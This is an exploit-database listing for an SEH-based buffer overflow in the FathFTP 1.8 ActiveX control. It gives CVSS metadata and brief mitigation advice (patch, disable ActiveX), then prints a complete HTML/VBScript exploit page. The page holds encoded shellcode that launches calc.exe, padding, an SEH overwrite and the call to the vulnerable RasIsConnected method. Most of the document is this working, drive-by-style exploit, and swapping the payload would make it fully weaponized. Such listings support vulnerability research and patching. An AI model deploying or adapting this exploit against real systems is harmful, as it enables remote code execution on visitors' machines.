FathFTP 1.8 (SEH) ActiveX Buffer Overflow

vendor:

FathFTP

by:

MadjiX

7.5

CVSS

HIGH

Buffer Overflow

CWE

Product Name: FathFTP

Affected Version From: 1.8

Affected Version To: 1.8

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP3

FathFTP 1.8 (SEH) ActiveX Buffer Overflow

This exploit targets FathFTP version 1.8 and utilizes a buffer overflow vulnerability to execute arbitrary code. The exploit is written in VBScript and contains shellcode that launches the Windows calculator application. It has been tested on Windows XP SP3 with Internet Explorer 6.

Mitigation:

Apply the latest security patches provided by the vendor. Disable ActiveX controls in web browsers.

Source

Exploit-DB raw data:

<html>
<object classid='clsid:62A989CE-D39A-11D5-86F0-B9C370762176' id='target'></object>
<script language='vbscript'>
' Exploit Title: FathFTP 1.8 (SEH) ActiveX Buffer Overflow
' Author: MadjiX
' Software Link: http://www.fathsoft.com/fathftp.html
' Version 1.7 : http://www.exploit-db.com/exploits/14269/ (Thanks Blake)
' Tested on: Windows XP SP3 FR / IE6
' Visit : www.sec4ever.com
'---------------------------------------------------'
'                  _____ __                         '
'____________________  // /_______   ______________ '
'__  ___/  _ \  ___/  // /_  _ \_ | / /  _ \/  ___/ '
'_(__  )/  __/ /__ /__  __/  __/_ |/ //  __/  /     '
'/____/ \___/\___/   /_/  \___/_____/ \___//_/      '
'                                                   '
'                   Security Team Members           '
'---------------------------------------------------'

' EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
unescape("%50%68")

nops = string(12, unescape("%90"))
buff=String(1188, "A")
nseh=unescape("%eb%06%90%90") 'tangiza 5fifa :D
seh=unescape("%3F%28%C6%72") 'universal
buff2=String(8888, "C")

exploit = buff + nseh + seh + nops + shellcode + buff2
target.RasIsConnected exploit

</script>
</html>